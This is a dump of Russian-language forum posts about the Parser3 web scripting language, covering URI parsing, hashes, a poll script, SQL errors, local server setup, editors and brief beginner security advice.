так, к слову - после успешной проверки URI на соответствие в переменной $current_id оказывается id текущего раздела/подраздела."
"14490","А почему бы, если тело сообщения пустое ваще не ставить на него ссылку?"
"14492","Как узнать номер недели в году? В месяце?\
\
нужно: \
Каждый второй вторник месяца..... \"Совещание\"\
Каждый четвертый понедельник..... \"Отчет\"\
Каждая последняя пятница квартал..\"Отчет квартал\"\
"
"14493","-берешь первый день интересующего тебя месяца.\
-делаешь из него объект дату.\
-смотришь, какой получился день недели.\
-сдвигаешь дату вперед на разницу межну полученым днем недели и нужным тебе - получаешь день первого интересующего тебя дня недели в месяце.\
-если нужен не первый день недели в месяце - сдвигаешь дату на (нужный тебе номер недели - 1)*7 дней\
\
оформляешь все в виде удобного тебе метода(ов) и юзаешь.\
\
с годом/кварталом аналогично."
"14494","А можно поподробнее разживать......?\
\
Например мне нужно что бы каждый четвертый четверг на странице писалось:   \"Совещание\"\
В противном случае: \"Событий нет\"\
\
И так круглый год, каждого месяца."
"14496","1. У тебя в объявлении полей $items стоит dir, а в коде смотришь $items.uri\
\
2. вот/те/бе/на/за/кус/ку/то/ка/же/вать/не/за/му/чай/ся - если у тебя такой uri, то что-то у тебя со структурой сайта не то\
\
2.5 Как бы то ни было, в этом коде у тебя все равно menu идет от начала до конца, а ^parts.offset[set](-1) вещь абсолютно бесполезная, так как ты все время попадаешь в последний кусок урла (скажем \"ся\"), независимо от того, в каком месте произошел сбой.\
\
3. Если уж делать выход то приблизительно так (просто набросок, без каких либо претензий...)\
\
[code]\
$parts[^uri.split[/]]\
$current_id[0]\
^while(^parts.offset[] < ^parts.count[] && !def $not_found){\
	^if(^items.locate($items.dir eq $parts.piece && $items.parent_id eq $current_id)){\
		$current_id[$items.id]\
	}{\
		$not_found[1]\
	}\
	^parts.offset(1)\
}\
[/code]\
\
4. Хотя есть все-таки идея делать разбор урла до конца и сбойный участок пытаться поправлять автоматически (вдруг опечатались в одну букву или нужен какой-то залихватский редирект сделать).\
"
"14498","Парсер изучаю недавно.\
пока разобрался с таблцами, базами данных и по мелочам\
\
Как делал: ставил задачу и пытался осуществить с помощью имеющихся знаний. Куда присобачить то, что я знаю,  я понял\
\
А вот чтоделать с хэшами. Зачем они нужны.\
Можете подсказать мне несколько простеньких примеров так, чтобы их можно было сделать и понять, зачем эти хэши нужны.\
\
Спасибо"
"14499","Весьма подробненько можно почитать о хэше здесь:\
http://algolist.manual.ru/ds/s_has.php\
И там же посмотреть возможности реализации.\
Вообще говоря хэш - ассоциативный массив, в котором вместо длинных строковых выражений используют заменители (ключи). Да и собственно говоря посиск в хэш реализуется намного быстрее. Не перелопачивается вся таблица данных, а берется только конкретное значение по ключу. По крайней мере так должно быть, но в Parser по-моему всеже присутствует перебор."
"14500","Здравствуйте, я Вас недавно вопросами мучал, Вы меня постоянно в доки отсылали. Помните? Попробовал написать простенькое голосование - вроде бы получилось. Хотелось бы получить Вашу оценку. Можно ли здесь что-нибудь подправить, упростить и т.д.? Вот код:\
[code]\
<table width=\"100%\" cellspacing=\"0\" border=\"0\" bgcolor=\"#ffffff\">\
<tr><td align=\"center\"><br>\
<b>Наш&nbsp;вопрос:</b>\
</td></tr>\
<tr><td>\
<p align=\"center\">Как Вам наш новый дизайн?</p>\
$variant[^table::load[/variant.txt]]\
<form method=\"post\">\
<input type=\"radio\" name=\"ok\" value=\"super\"> <font color=\"#cc0000\"><b>&bull;&bull;&bull;</b></font> $variant.variant1<br>\
<input type=\"radio\" name=\"ok\" value=\"normal\"> <font color=\"#00cc00\"><b>&bull;&bull;&bull;</b></font> $variant.variant2<br>\
<input type=\"radio\" name=\"ok\" value=\"sucks\"> <font color=\"#0000cc\"><b>&bull;&bull;&bull;</b></font> $variant.variant3<br><br>\
<div align=\"center\">\
<input type=\"submit\" value=\"Голосовать\" name=\"posted\">\
</div>\
</form>\
<div align=\"center\"><b>Результаты:</b></div>\
$results[^table::load[/results.txt]]\
  $supergif[^image::load[/img/supergif.gif]]\
  $normalgif[^image::load[/img/normalgif.gif]]\
  $sucksgif[^image::load[/img/sucksgif.gif]]\
^if(def $form:ok){\
 ^if($form:ok eq super){\
$super[$results.super]\
$super[^eval($super+1)]\
$newresults[^table::create{super	normal	sucks\
$super	$results.normal	$results.sucks}]\
^newresults.save[/results.txt]\
$results[^table::load[/results.txt]]\
 }{\
  ^if($form:ok eq normal){\
$normal[$results.normal]\
$normal[^eval($normal+1)]\
$newresults[^table::create{super	normal	sucks\
$results.super	$normal	$results.sucks}]\
^newresults.save[/results.txt]\
$results[^table::load[/results.txt]]  \
  }{\
$sucks[$results.sucks]\
$sucks[^eval($sucks+1)]\
$newresults[^table::create{super	normal	sucks\
$results.super	$results.normal	$sucks}]\
^newresults.save[/results.txt]\
$results[^table::load[/results.txt]]\
 }\
 }\
}{}\
$100percent[^eval($results.super+$results.normal+$results.sucks)]\
$superpercent[^eval(($results.super*100)/$100percent)[%.1f]]\
$normalpercent[^eval(($results.normal*100)/$100percent)[%.1f]]\
$suckspercent[^eval(($results.sucks*100)/$100percent)[%.1f]]\
 $suppercimg[^eval(($results.super*100)/$100percent)[%.u]]\
 $norpercimg[^eval(($results.normal*100)/$100percent)[%.u]]\
 $sucpercimg[^eval(($results.sucks*100)/$100percent)[%.u]]\
$results[^table::load[/results.txt]]\
$superimg[^image::create(100;10)]\
$normalimg[^image::create(100;10)]\
$sucksimg[^image::create(100;10)]\
 ^superimg.bar(0;0;$suppercimg;10;0xcc0000)\
 ^normalimg.bar(0;0;$norpercimg;10;0x00cc00)\
 ^sucksimg.bar(0;0;$sucpercimg;10;0x0000cc)\
  $suptogif[^superimg.gif[]]\
  ^suptogif.save[binary;/img/supergif.gif]\
\
  $nortogif[^normalimg.gif[]]\
  ^nortogif.save[binary;/img/normalgif.gif]\
\
  $suctogif[^sucksimg.gif[]]\
  ^suctogif.save[binary;/img/sucksgif.gif]\
\
   &nbsp^;^supergif.html[]<font size=\"-2\">$superpercent%</font><br>\
   &nbsp^;^normalgif.html[]<font size=\"-2\">$normalpercent%</font><br>\
   &nbsp^;^sucksgif.html[]<font size=\"-2\">$suckspercent%</font>\
#&nbsp^;Голосов:&nbsp^;<font size=\"-1\">$100percent</font><br>\
<br>\
</td></tr>\
</table>\
[/code]"
"14502","http://www.mozilla.org/editor/midasdemo/\
\
free.\
\
работает в Mozilla > 1.3b и частично у меня в IE5.5 (в 5.0, 6.0 и в Opera - не пашет)"
"14503","[url=\"/examples/trees/\"]ссылка на пример[/url]\
\
там один из вариантов реализации - с помошью хеша таблиц.\
когда разберешься что в нем и как, я думаю оценишь хеши ;)\
\
там-же я приводил примерные цифры разницы производительности метода с хешем и без хеша. разница существенна.\
\
а по поводу поиска в хеше - парсер [b]не[/b] занимается перебором элементов, соответственно доставание элемента с заданным ключем происходит [b]очень[/b] быстро, в разы быстрее чем ^таблица.locate[], что особенно заметно на больших структурах."
"14504","вот смотри, для чего у тебя используется таблица variant.txt? для хранения одной строчки?\
\
а если тебе потребуется сделать голосовалку с 10 вариантами ответов? будешь копировать куски кода? а зачем?\
\
может лучше в variant.txt хранить информацию о вариантах ответа построчно, например так:\
[code]\
value	count	image	is_default	description\
super	0	supergif.gif	0	О! Типа круто!\
normal	0	normalgif.gif	1	С пивом потянет.\
sucks	0	sucksgif.gif	0	Полный отстой!!!\
[/code]\
\
\
сответственно вывод формы:\
[code]\
^variant.menu{\
	<input type=\"radio\" name=\"ok\" id=\"$variant.value\" value=\"$variant.value\"^if($variant.is_default){ checked=\"chedked\"}><label for=\"$variant.value\"> <font color=\"#cc0000\"><b>&bull;&bull;&bull;</b></font> $variant.description\
}[<br />]\
[/code]\
\
увеличение кол-ва проголосовавших после нажатия кнопки \"голосовать\"\
[code]\
^if(def $form:ok){\
#	внимание, надо позаботится о том, что одновременно несколько человек проголосуют/будут писать файл...\
#	создаем новую таблицу	\
	$new_table[^table::create[$variant][$.limit(0)]]\
	^variant.menu{\
		^if($form:ok eq $variant.value){\
			^new_table.append{$variant.value	^eval($variant.count+1)	$variant.image	$variant.is_default	$variant.description}\
		}{\
			^new_table.join[$variant][$.limit(1)$.offset[cur]]\
		}\
	}\
	^new_table.save[/variant.txt]\
}\
[/code]\
\
с выводом результатов аналогично. твой код не будет зависеть от того, сколько у тебя вариантов ответов.\
так-же посмотри [url=\"/forum/?id=12568\"]этот пример[/url] agat-а, у него по крайней мере с подобной логикой все нормально."
"14508","А именно:\
[code]\
$new_table[^table::create[$variant][$.limit(0)]]\
[/code]\
и\
[code]\
^new_table.join[$variant][$.limit(1)$.offset[cur]][/code].\
Не могу въехать, как работает этот кусок:\
[code]\
^table::create[$variant][$.limit(0)]\
[/code]\
Создаётся таблица на основе существующей? Тогда что такое:\
[code][$.limit(0)][/code]\
и\
[code][$.limit(1)$.offset[cur]][/code]?\
Подскажите, если не трудно, а то очень разобраться хочется."
"14509","http://www.parser.ru/docs/lang/tablecreateclone.htm\
http://www.parser.ru/docs/lang/tablejoin.htm"
"14510","да, вы правы, должно быть $items.dir, опечатался, спасибо.\
\
вот/те/бе/на/за... - у меня таких URI нету [i];)[/i], но если какой нибудь недоброжелатель введёт www.moi-sait.ru/vot/te/be/na/za... то исходный вариант будет менюшить все каталоги до победного конца...  \
\
идея с ^parts.offset[set](-1) - первое что пришло в голову. Поискал по форуму \"как выйти из цикла\", советуют либо ^while() либо ^throw[]. Ещё не решил, какой вариант выбрать. С ^throw[] как я представляю будет что-то подобное: \
[code]\
^try{\
	$parts[^uri.split[/]]\
	$current_id[0]\
	^parts.menu{\
		^if(^items.locate($items.dir eq $parts.piece && $items.parent_id eq $current_id)){ \
			$current_id[$items.id] \
		}{ \
			^throw[file.not_found;$request:uri] \
		} \
	}\
\
}{ \
	^if($exception.type eq file.not_found){ \
		$exception.handled(1) \
		$response:location[/404.html] \
	} \
} \
[/code]\
хотя ваш вариант с ^while() выглядит интереснее... "
"14513","по моему это достаточно очевидно."
"14514","Есть такой код\
\
$rep[^table::create{from	to\
мы медведи	111\
}]\
$r1[^r.replace[$rep]]\
\
А если мне нада заменить не на 111 а на пустой сивол, если просто опустить 111\
\
$rep[^table::create{from	to\
мы медведи	\
}] \
\
то пишет ошибку\
Array::get(1) out of range [0..0]\
\
\
чито делать?\
"
"14515","Т.е. сложить значения всех вариантов ответа (получить общее число проголосовавших)?"
"14517","мне кажется данная фича тут не прокатит, ибо с каждым циклом menu мы проверяем, является ли текущий каталог прямым потомком предыдущего. Т.е. при первом же сбое мы не сможем определить, прямым потомком кого должен быть следующий каталог."
"14518","если очень недо - используй match"
"14519","Подскажите, как можно организовать систему поиска?\
Нужен не готовый код, а суть всей системы!\
И еще, в чем преимущество делать сайт чере XML?"
"14520","Зато мы знаем, какие каталоги есть на уровне, где произошел сбой. Можно попытаться посравнивать \"неправильный\" каталог с тем, что там есть, или попросить юзера выбрать \"а не это ли вы иметь в виду?\" ;) Типа дружественный интерфейс. \
\
Я это пока не реализовывал, так что лишь на уровне идеи."
"14521","Для \"порядочных\" таблиц - понятно, \
^table.menu{\
 ^table.name\
}\
А вот если nameless? (понятно, что нефиг такие творить, но вот parser3.log таковой таблицей и является - как его еще заставить последнюю строку выводить, кроме как offset'ом?)"
"14522","Нужно сложить все значения одной колонки, пробовал так:\
[code]\
$loadt[^table::load[/t.txt]]\
 $a[^eval(^loadt.menu{$loadt.cnt}[+])]\
 $a\
[/code]\
Но так не выходит, потомучто [code]^loadt.menu{$loadt.cnt}[+][/code] - не число. Пробовал преобразовать с помощью [code] .int[], .double[][/code], но что-то нефига не соображу как это правильно сделать. Как с плюсом-то быть? Может подскажите?"
"14523","[code]\
$loadt[^table::load[/t.txt]]\
 $a(0)\
 ^loadt.menu{^a.inc($loadt.cnt)}\
 Результат: $a\
[/code]"
"14524","лучше всё таки не много ещё подправить вдруг у тебя там какая-нибудь дрянь в файл затисалась...\
[code]\
^loadt.menu{^a.inc(^loadt.cnt.int(0))}\
[/code]"
"14525","[code]\
Значение текущий строки в первом столбце: $table.0\
[/code]"
"14527","1)Большое спасибо, что ответили! Конечно, хочется узнать гораздо больше... Если вам не трудно не могли бы, более подробно описать в каких случаях и как использовать те или иные конструкции PARSER’a. У вас большой опыт и поэтому вы можете дать конкретные советы по написанию оптимального кода.\
2) Очень интересно бы узнать, как написать безопасный код с точки зрения взлома. Где возникают основные дыры. И на сколько небезопасен модуль к apache. \
"
"14528","Заранее благодарен."
"14529","спасибо."
"14531","Я то учебник (хороший учебник) хотел... согласитесь разница есть..."
"14532","...и написана она именно так, как пишутся, в моем понимании, хорошие учебники: кроме собственно reference в спецификации приводятся примеры и разъяснения."
"14533","а вот забавно, что многие \"наши\" инетчики так любят Оперу, но при этом не покупают, а \"крякают\" её ;-(0\
\
(ps я лично её не перевариваю..)"
"14535","http://croll.hotbox.ru/W3C/Consortium/Translation/russian-ru.html\
\
http://www.rol.ru/news/it/helpdesk/"
"14536","делаю пример \"Построение деревьев\"\
и все время получаю ошибку \
#------------------------------------------------------------------------------>\
Column: 'forum_message_id' in field list is ambiguous\
\
SELECT forum_message_id, parent_id, thread_id, title, author, email, dt_published, \
forum_message_body.forum_message_id AS is_not_empty FROM forum_message LEFT JOIN forum_message_body \
ON (forum_message.forum_message_id = forum_message_body.forum_message_id) \
WHERE 1 = 1 AND parent_id = 0 AND is_published = 1 ORDER BY dt_published \
\
#------------------------------------------------------------------------------>\
\
\
Уже долго бьюсь, в форуме ничего похожего не нашел... :(\
Заранее спасибо\
\
вот сам код\
#------------------------------------------------------------------------------>\
[code]\
@getMessagesByParent[parent_id;limit]\
$result[^table::sql{\
		SELECT\
			forum_message_id,\
			parent_id,\
			thread_id,\
			title,\
			author,\
			email,\
			dt_published,\
			forum_message_body.forum_message_id AS is_not_empty\
		FROM\
			forum_message\
			^MAIN:pSQL.left_join[from;forum_message_body;forum_message.forum_message_id = forum_message_body.forum_message_id]\
		WHERE\
			^MAIN:pSQL.left_join[where;forum_message_body;forum_message.forum_message_id = forum_message_body.forum_message_id]\
			^if(def $parent_id){parent_id = ^parent_id.int(0) AND}\
			is_published = 1\
		ORDER BY\
			dt_published\
}[^if(^limit.int(0)){$.limit(^limit.int(0))}]]\
[/code]\
#------------------------------------------------------------------------------>"
"14537","SQL-сервер не может понять из какой именно таблицы вы хотите достать этот самый 'forum_message_id'.\
\
возможное решение - укажите явно: таблица.forum_message_id"
"14538","Рекомендую книгу \"Изучаем XML\" Эрик Рэй, O'REILLY есть в любом интернет-магазине."
"14539","Решил на выходных дома скриптики свои поковырять. Дома винда – поэтому, думаю поставлю я Денвер2 с парсером. Смотрю на размер – 2,5 и это apache +mysql +admin +php +parser3. Интересно! Помнится mysql  в стандартной упаковке весит 13 метров, а тут еще apache и php. Я еще засомневался сперва. Ладно, качаю и ставлю. Муsql – завелся а apache  нет. Ставлю еще раз все по умолчанию. Такая же. Залез на сайт поглядеть FAQ – ничего подобного. Ладно лезим в httpd.conf  видим подключение модуля работы с виртуальными хостами(кажется vhost_aliace.so). Смотрим /modules/ Болт! Нет такого файла.  Лезу на сайт качаю дополнительные модули. Запускаю apache  с толкача – говорит- не могу подключить php. Лезу назад в конфигурационный файл.  Убираю подключение php. Запускаю apache. Хм  , заработало. :(  Ладно кидаю свои скрипты. Запускаю. И вижу теrст скрипта из index.htm. В ручную подключаю parser3 в httpd.conf  в ручную кидаю что куда надо. Запускаю apache – заработало. Минут 40 потратил на все и кучу нервов. Все стер! Никудышный  денвер. Правда русский help в httpd.conf  нормальный.\
\
p.s. Может я не то закачал?\
"
"14540","... в расширении index.[b]htm[/b] .\
Наверняка у них в httpd.conf прописана строчка:\
\
# назначение обработчиком [b].html[/b] страниц \
AddHandler parser3-handler [b]html[/b] \
\
\
\
"
"14541","Работаю с денвером уже больше года....неразу никаких проблем небыло, вставал на любую машину\\винду с первого раза :))......полюбому твой касяк:))"
"14544","Дые апачь тоько с толкача завелся! Нет необходимых модулей."
"14545","может нужно два файла качать, но тогда странно почему на сайте написан размер 2,5 и маркировка у файлов непонятная %\\"
"14547","Вчера было 2 файла в каталоге - сегодня три. Закачиваю последнюю версию - болт вообще не ставится. (2 раза качал! Оба раза на одном и том же месте скрипт что-то не находит)\
Качаю самую первую версию - все поставилось, во всяком слуае apache заработал. Может быть последнии версии- это апргейды? Тогда их помечать нужно как апргейды!"
"14548","Ой не туда вставил топик! Извините!"
"14550","...проблема была в том, что в соединении Парсер+MySQL $connect-string[имел указанную кодировку ?charset=cp1251_koi8], в то время, как в работе PHP+MySQL такой кодировки не устанавливалось.\
\
Перекодировал БД - теперь все путем - оба скрипта работают успешно.\
\
P.S. Хотя в доке по MySQL написано, что кодировка cp1251_koi8 - default. Вот тут я не совсем понял. Раз кодировка default, почему PHP на ней загнулся, и зачем указывать эту кодировку при соединении Парсером?"
"14551","[code]\
$tbl[^table::load[variant.txt]]\
$cnt(0)\
^tbl.menu{\
        ^cnt.inc($tbl.count.int(0))\
}\
общее количество опрошенных : $cnt\
[/code]"
"14552","...почитай примеры, [url=\"http://www.parser.ru/examples/regexp/\"]копилку рег. выр.[/url]"
"14553","Вчера скачал версию из \"скачать\", сконфигурировал, попробовал собрать, выдает уже не безъизвестную, как оказалось ошибку:\
[code]Making all in src\
Making all in include\
Target \"all\" is up to date.\
Making all in main\
make: 1254-002 Cannot find a rule to create target pa_common.@OBJEXT@ from dependencies.\
Stop.\
make: 1254-004 The error code from the last command is 1.[/code]\
Порылся по форуму, понял, что ничего мне не светит с этой версией...\
\
Скачал из CVS(час назад), сконфигурировал, попробовал собрать и тут же:[code]Making all in src\
Making all in include\
cd ../.. && automake --gnu src/include/Makefile\
cd ../..  && CONFIG_FILES=src/include/Makefile CONFIG_HEADERS= /bin/sh ./config.status\
creating src/include/Makefile\
cd ../..  && CONFIG_FILES= CONFIG_HEADERS=src/include/pa_config_auto.h  /bin/sh ./config.status\
creating src/include/pa_config_auto.h\
src/include/pa_config_auto.h is unchanged\
Making all in main\
\"Makefile\", line 233: Need an operator\
make: fatal errors encountered -- cannot continue\
*** Error code 1[/code]\
\
Как лечить?"
"14554","...пол страницы сказано про DOM и все. имхо, маловато."
"14557","Здравствуйте.\
\
[b]Сразу приношу извинения за офф торпик.[/b]\
\
Пожалуйста, объясните приезжему в чем прелесть UltraEdit. Не может же половина пользователей форцма сидеть на этом редакторе без причин. Вчера полночи просидел на этим чудом -- не нашел ни одной, зато намаялся...\
\
Ну да, удобно: проекты, спелл чекеры (по французки, итальянки, корейски, пожалуйста), валидаторы etc. Но кайф в чем!! Не поверю что єто в том чтобі ваять сайт в кодировке DOS (что в Win системе мякго говоря нелогично), потом лихо перекодировать его во что-то более удобоваримое (для *NIX, DOSовская кодировка тоже, верояно, не препарат вібора), и копировать на сервер. Ну не верю я что пресловутая половина пользователей форума (лучшая надо полагать) сидит в *NIX | MAC и сайты ваяет иаключительно на английском. В чем же сила? Не в подсветке же синтаксиса, в самом то деле...\
\
--\
С уважением и признательностью, the.organic \
\
"
"14558","Мне, например, очень удобно, что он работает через FTP т.к. я скрипты прямо на сервере пишу ...\
\
Ваши речи про кодировку не понял - я все в win1251 делаю."
"14559","какие альтернативы-то? ближайший конкурент (IMHO): editplus\
\
что мне надо, и что у него есть (не в порядке приоритетов):\
\
1. встроеный ftp (работаю со множеством проектов, заниматься копированием туда-сюда файликов в дополнительном ftp-клиенте не в кайф)\
2. подсветка синтаксиса (не жизненно важно, приятно и позволяет сразу отсечь часть ошибок)\
3. хорошие функции поиска/замены (REGEXP)\
4. работа с разными кодировками, включая UTF8 (работаю со многими проектами, и далеко не все они в 1251... многие в koi и utf)\
5. многоуровневое undo/redo (в том числе после операций глобальных замен)\
6. работа с вертикальными блоками (Alt-C рулит)\
7. нормальная работа с символами табуляции (некоторые редакторы любят без спроса менять их на пробелы) + возможность показать в тексте спецсимволы.\
8. MDI интерфейс (мне он нравится, работаю со многими файлами одновременно)\
9. редактор сам делает backup файлов, с которыми работаю (надо включить. очень часто спасало)\
10. unix/dos - ты наверное не сталкивался с проблемами когда в скриптах (не парсерных) не юниксовые концы строк и редактор не позволяет быстро и просто понять это и исправить.\
11. забыл совсем... поиск/подсветка парных скобок.\
\
различные спелчекеры, валидаторы, а так-же его \"проекты\" мне не интересны.\
\
все это IMHO.\
\
"
"14560","Работаю [url=http://www.aditor.swrus.com/]Aditor[/url] как завещал [url=http://www.pro.net.ru/]Стас Жарков[/url]. С кодировками там как раз все удобно, редактор писал, как кажется, русскоязычный автор. \
\
С кодировкой все следующим образом. Поддрерживается только досовская, юниксовая,  и мак, по крайней мере других не нашел, может патч какой  надо..\
\
Sumo,  \
Пожалуйста, научите, как настроить UE для работі с win кодировкой.\
\
--\
С уважением, the.organic"
"14561","Народ! \
Есть необходимость сделать следующее - \
Пользователь бегает по каталогу товаров у которого есть поля для ввода количества товаров. Но на каждой странице ему не хочется нажимать кнопку \"Сабмит\" для занесения набранного количества товаров в корзину - он хочет просто перемещаться по ссылкам и при выборе ссылки, чтобы данные добавлялись автоматически - а кнопку \"Сабмит\" нажимать лишь один раз при завершении работы.\
\
При попытке написать конструкцию: <a href=/url/ onClick=\"document.forms.1.submit();return false;\">111</a>\
или подобной происходит либо сабмит формы без редиректа, либо редирект на другую страницу без сабмита данных формы.\
\
Заранее спасибо за ответ."
"14562","Вполне возможно, что у Вас \"OEM Character Set\" включен..."
"14563","Часа два только то и делал что нажимал на эту кнопочку.\
\
Проблемс в том, что по русски написанный текст сохраняется на диске в кодировке дос (шрифт терминал в блокноте и тд). Может я какой простой вещи не знаю/понимаю, но это происходит именно так. "
"14564","Нехило бы было взять FAR и посмотреть, что он думает по поводу кодировок твоего файла ..."
"14565","Есть такой обработчик событий onunload (тег body) который сробатывает при переходе на другую страницу, сделай так чтобы при выходе открывалось маленькое PopUp окошко в котором будут отправлятся данные, а при получении оно само закрывалось."
"14568","Тоже писал подобный пост, получал тот же ответ \"Воспользуйтесь поиском\", пользовался, ничео кроме заверения о том, что в CVS лежит нормальная версия не нашёл.\
У самого руки до CVS не дошли, но уже получал несколько откликов, что там творятся те же дела.\
\
Может быть всё-таки проще обновить файл, который люди скачивают и все дела?\
\
Или второй вариант - можно вынести ответ на этот вопрос в ФАК, если столько народу не понимают чего-то простого."
"14572","http://spectator.ru/issues/352"
"14573","Ой!\
На радостях я случайно залил глючный дистрибутив на сайт. Приношу извинения. Сейчас все исправлено, проверено и работает. Не смотрите, что файл называется так же — Base_Parser_2003-03-17_a1.3.27_p4.3.0_m3.23.53_pma2.3.0.exe — он в действительности исправленный.\
\
http://dklab.ru/chicken/web/dis/Base_Parser/ "
"14574","по многочисленным просьбам посетителей... получите..."
"14575","а может, каталог организовать таким образом, что например с каждым продуктом будет чекбокс, у которого имя это уникальный код продукта, когда его кликает вызывается функция которая записывает куку с кодом продукта, на каждой странице делаешь корзину в которой отображаеться кол-во заказанных товаров, а потом когда юзверь всё выбрал он жмёт под корзиной что-то вроде \"оформить заказ\", переходит на спец страницу, и уже там заполняет кол-во выбранных позиций, и ты пересчитываешь заказ...\
это просто идея сам собираюсь так делать...."
"14576","если посмотреть текст корневого сообщения данного треда то можно увидеть ДВЕ ошибки.\
\
решение по первой находится набиранием в строке поиска \"[b]OBJEXT[/b]\" и просмотром СЕМЬ найденых ссылок. результат их просмотра - путь в cvs и скачивание исходников.\
\
далее у некоторых появляется другая проблема (она тоже указана в корневом сообщении треда) - copy/paste в формочку поиска строки \"[b]Need an operator[/b]\" и получаем ТРИ ссылки, одна из которых имеет автора ПАФ и заголовок \"что делать, когда make: Need an operator?\"\
\
неужели сделать copy/paste двух ошибок сложно?"
"14577","У меня катит, если не забыть поставить таб."
"14578","Поставил Денвер-2. Тестовая страница Parser работает. Вопросы:\
1)Куда надо писать sections.cfg и auto.p:в /home/site.ru/www или /home/site.ru\
2)Как правильно uri или url\
Первая страница из учебника просто выдаёт: ^navigation[]"
"14579","Извините, уже все работает!!!"
"14580"," До этого пользовался Apache 1.3.27 + PHP 4.3.0 (динамическим модулем) на Винде  - и NO PROBLEMS ....Скачал Денвер ....Настроил конечно... Но для начала не хотел грузиться рнр4_modulе... Настройки сервера  по любому приходится доделывать.... В итоге загрузился... И Parser работал!!! А потом решил - а динамическим модулем как РНР 4.3 (.dll) - слабо ??? В итоге и это удалось (при  этом \"кричит\" Apache 1.3.27 (WIN32) PHP 4.3.0 Parser 3.0.0.0 is running)   - только код не обрабатывается а, простым тесктом вылазит...В CGI- версии вообще ноль....\
Что ж это я наделал и как это исправить????  "
"14581","лучшее - враг хорошего (с) хбз\
если работало, вертай взад обратно и не юзай денвиры ;)"
"14583","Там ведь нужно указывать имя пользователя и пароль. Может кто объяснит, а то я вообще не знаю как всё это дело происходит."
"14584","Не в тему  -  фактом в том Parser под Apache  не идет в качестве как модуля  так,  CGI-программы... А юзать или нет - мое ДЕЛО???\
На вопрос так и не ответил..... Умник!!!!!!!!!!!"
"14585","у нас мало клиентов, которые хостятся на виндах.\
на unix таких проблем нет.\
\
так что у этой задачи в моём списке задач очень низкий приоритет.\
исходники общедоступны."
"14586","Клиент (точнее его собирательный образ) оченно ленивый - ему хочется минимизировать количество нажатий. Т.ч. если он будет сначала смотреть на заявку - \"[b]что[/b] он хочет заказать\", а затем еще раз для определения \"[b]сколько[/b] этого чего-нибудь он хочет заказать\", то расстроится он наверное.\
\
А каково мнение уважаемого All'а касательно поп-апов, выскакивающих у клиента для занесения данных в корзину? Не будет ли это нервировать - выскакивание и пропадание окошек?"
"14589","I mean, почему там только новые сообщения, без указания треда и т.д.? Чистый поток мусора - не разобрать, что за сообщение, тред это или reply, на что reply!?\
\
Если его подправить, то может он и сгодится, хотя...\
\
Imho, лучше просто выкладывать xml-код последних, допустим, 20 тредов. Кому надо - отберут. И структура не нарушится (читать можно будет), и эффективнее.\
\
P.S. И еще - кнопка в том углу, сдвинув fieldset влево, совсем не смотрится. Ее бы внутрь fieldset - симпатичнее было бы."
"14590","я прочитал кратко, делал по просьбам, сам не пользуюсь. RSS не кривой ( http://feeds.archive.org/validator/check?url=http%3A%2F%2Fwww.parser.ru%2F_rss.html ). валидатор иногда ругается на title в которых есть &lt;... но я не знаю почему...\
-RSS придуман для новостных лент и у него нету такого понятия как треды\
-если я выдам просто xml форума, то RSS ридеры его не поймут\
-про кнопку даже комментировать не буду, т.к. филдсеты обычно все-таки используются для группировки элементов по функционалу...\
-эй, те кто просил RSS - давайте сами разбирайтесь с возмущенными :)"
"14591","может сообщишь версию парсера/платформу?\
\
и ты уверен, что ты не меняешь все-таки на какой-нить whitespace который затем оптимайзится парсером?\
\
[code]\
$str[abcd]\
^str.replace[^table::create[nameless]{b	}]\
[/code]\
\
->\
\
Parser 3.0007 (win/freebsd/солярис)\
Unhandled Exception \
Array::get(1) out of range [0..0]\
\
у тебя разве не так? (добавление дополнительных, \"полных\" строк в таблицу замен проблему не решает)."
"14592","Кажется есть такая вещь как sendmail под винды. Если поставить то проблем не будет?"
"14593","все когда то начинали.\
\
Пытаюсь написать не сложный интернет-магазин. Частично уже работает. Так вот у меня какой вопрос. Навигация у меня осуществляется следующим образом: при выборе какой-либо ссылки в строке адреса появляется запись типа \
[code]?select=news&id=15[/code] или\
[code]?select=group&id=34&companyID=4[/code]\
Далее с помощью оператора SELECT выбирается необходимые процедуры, а по значениям ID формируются запросы к базе данных MYSQL. \
\
Правильный это подход или нет?\
"
"14595","незачем показывать внутренности сайта"
"14596","пока только так."
"14597","?select=user&id=1\
\
с некоторой долей вероятности вы напечатаете мне пароль админа :)"
"14598","http://www.parser.ru/forum/?id=14595 (WHERE id = $form:id)"
"14600","если Мише лень это делать, это не должно являться решаюющим доводом, это первое, и второе здесь это допустимо, потому что тут всё коротко и ясно, а в приведенном примере это наводит тоску.\
\
Да, и давайте не будем сравнивать попу с пальцем, - то что позволено юпитеру, не позволено быку :)."
"14602","Есть сервак NT4(SP6) + Апач + парсер модуль апача + MySQL\
Апач работает - статичные странички (*.htm) открывает!\
Парсер всё (вернее почти всё :() парсерит, т.е.\
[code]\
@main[]\
Hello World!!!\
[/code]\
тоже работатет!\
\
на как только появляется \
[code]\
^connect[$connect_string]{\
}\
[/code]\
получается error 500\
\
строка подключения задана 100% правльно, т.к. я копирую этот скрипт на другой сервер, где установлен парсер, запускаю и делаю конект к той же удалённой базе - всё нормально.\
\
А там хоть ты тресни - не хочет!\
И дрова для MySQL-я раза 4 переписывали (думал может файл повредился - нифига, тот же результат)\
\
и пременная $sqldriversdir правильный путь выдает\
короче я уже не заню в чём дело :(\
может дело в OC?\
\
Помоги те добрым советом, плиз\
\
P.S.: правда, админ говорит, что на его NT4 клиент MySQL-Front не хочет запускаться, но я удалённо с базой нормально соединяюсь, и всё там могу делать\
"
"14605","администрирование у меня в папке /admin/ которая в свою очередь запаролена."
"14606","http://www.egoroff.spb.ru/portfolio/20.html с помощью mod_rewrite отсекать .html, и делать запрос типа ...lio/?id=20"
"14607","как? смотрите исходники :)"
"14608","и попадете на немаленькую сумму денег"
"14611","если вы собирали движок соблюдая вышепреведенные рекомендации (см. ссылку), и в придачу вам совершенно наплевать на юзабилити вашей строки запроса, можете смело делать так как написали, IMHO..."
"14612","Большое спасибо!\
\
Иногда после рабочего дня сложно разобрать сколько ошибок на самом деле.\
Теперь всё ясно и по установке вопросов больше нет, и только предыдущее сообщение _полностью_ отвечает на заданный вопрос."
"14613","Я хочу создать чат на Парсере, но не знаю, как зделать список посетителей. Может кто-то знает?\
Спасибо."
"14615","Каждый авторизованный посетитель должен иметь поле \"время последнего обновления\", с каждым обновлением поле понятное дело должно обновляться. А остальные пользователи при обновлении смотрят поля каждого из участников, и как только время авторизации кого-то участника отстаёт значит он уже не обновляется в чате и подлежит выкидыванию. Вроде все.\
\
PS: Пример кода приводить не буду."
